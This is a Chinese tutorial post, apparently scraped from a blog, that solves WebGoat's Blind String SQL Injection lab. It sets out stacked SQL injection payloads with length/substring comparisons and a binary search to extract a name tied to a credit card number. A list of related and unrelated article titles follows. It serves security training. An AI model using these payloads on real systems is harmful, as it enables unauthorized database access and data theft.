Blind SQL injection sample
来源:互联网 发布:淘宝打折活动名称 编辑:程序博客网 时间:2024/05/18 00:44
WebGoat中的Blind Numeric SQL Injection 和 Blind String SQL Injection 两个例子。
下面说明Blind String SQL Injection的测试方法:
1)分析两个例子发现:数据库出错时的具体信息被屏蔽,只能通过一些测试判断查询的内容是否正确或者错误或者语法错误。
输入:101
输出:Account number is valid
输入:101;select * from pins where 1=0
输出:Invalid account number
输入:101;select * from pins where 1=1
输出:Account number is valid
输入:101;select * from pins where '1=1
输出:
An error occurred, please try again.
Unexpected end of command in statement [select * from pins where ']
可以看出对连续执行两个SQL语句,当两者都返回true时,才会返回Account number is valid;其中一个返回false,则返回Invalid account number;如果语法错误,则会返回An error occurred, please try again。
2)获取name的长度
根据题目要求:
The goal is to find the value of the field name in tablepins for the row with the cc_number of 4321432143214321. The field is of type varchar, which is a string.
需要获取cc_number=4321432143214321处的name值,简单翻译下:select name from pins where cc_number=4321432143214321
但是,程序仅能返回三种状态,不能直接显示查询获取的结果,那么要获取name的值,就需要借助一些函数:length / substring /like /ASCII等
首先,我们需要获取name的长度,那么可以构造:101; select * from pins where cc_number=4321432143214321 and length(name)=N (N=1-9之间)
经过测试发现name的长度为4 。(当然,可以引入二分查找的方法)
3)逐个获取name的值
要获取name某个位置的具体值,需要借助substring函数
101;select * from pins where cc_number=4321432143214321 and substring(name,1,1)='$' ($ 为 ‘1’-‘9’ 、‘a' -'z'、'A'-'Z'三者间的一个)
要是手动一个个字符去试就太麻烦了,必须引进二分查找方法:
101;select * from pins where cc_number=4321432143214321 and (substring(name,1,1)>='A' and substring(name,1,1)<='Z' )
判断第一个字符为三个范围中的哪个后,再将区间缩小一半,就可以较快的确定在一个字符上。
然后在修改substring的第二个参数为2、3、4逐个获取字符
4)可以测出name为Jill
注:在测试过程中,在发现了有效的字符后可以搜搜常用的名字,直接测试是否正确;如在发现了Jil三个字符后,google Jil 发现有Jill的提示,果断测试l的可能性,发现OK通过。
- Blind SQL injection sample
- Blind SQL Injection
- Blind SQL Injection
- dvwa-sql injection(blind)
- DVWA - SQL Injection (Blind) (low)
- EmpireCMS Version 4.6 Blind SQL Injection Exploit
- phpcms V9 BLind SQL Injection Vulnerability
- PHPCMS V9 BLind SQL Injection Vulnerability
- Blind SQL Injection on DVWA(Medium Level)
- DVWA下的SQL Injection(Blind)
- False SQL Injection and Advanced Blind SQL Injection
- False SQL Injection and Advanced Blind SQL Injection
- SQL Injection(三)――Blind Injection
- phpBB Links MOD Remote Blind SQL Injection Exploit
- Arab Portal 2.2 (Auth Bypass) Blind SQL Injection
- 【常见Web应用安全问题】---13、Blind SQL/XPath injection
- webgoat 中 Blind String SQL Injection 的 Python 编程解决
- DVWA-1.9全级别教程之SQL Injection(Blind)
- 安装Win7系统为硬盘分区的方法
- 李さんわ ちゅうごくじんです
- Android学习之Bitmap
- Android -- 加载大图片到内存,从gallery获取图片,获取图片exif信息
- [LeetCode]Max Points on a Line
- Blind SQL injection sample
- 我与《设计模式》的初次约会
- 二项堆的读书笔记
- Android -- 图片处理, 画画板,缩放,旋转,平移,镜面,倒影,图片合成,颜色处理
- oracle 之 checkpoint
- NYOJ171-聪明的kk
- JAVA设计模式之工厂模式(简单工厂模式+工厂方法模式)
- unity3D游戏开发三之unity编辑器二
- POJ 1426 Find The Multiple(不断学习!)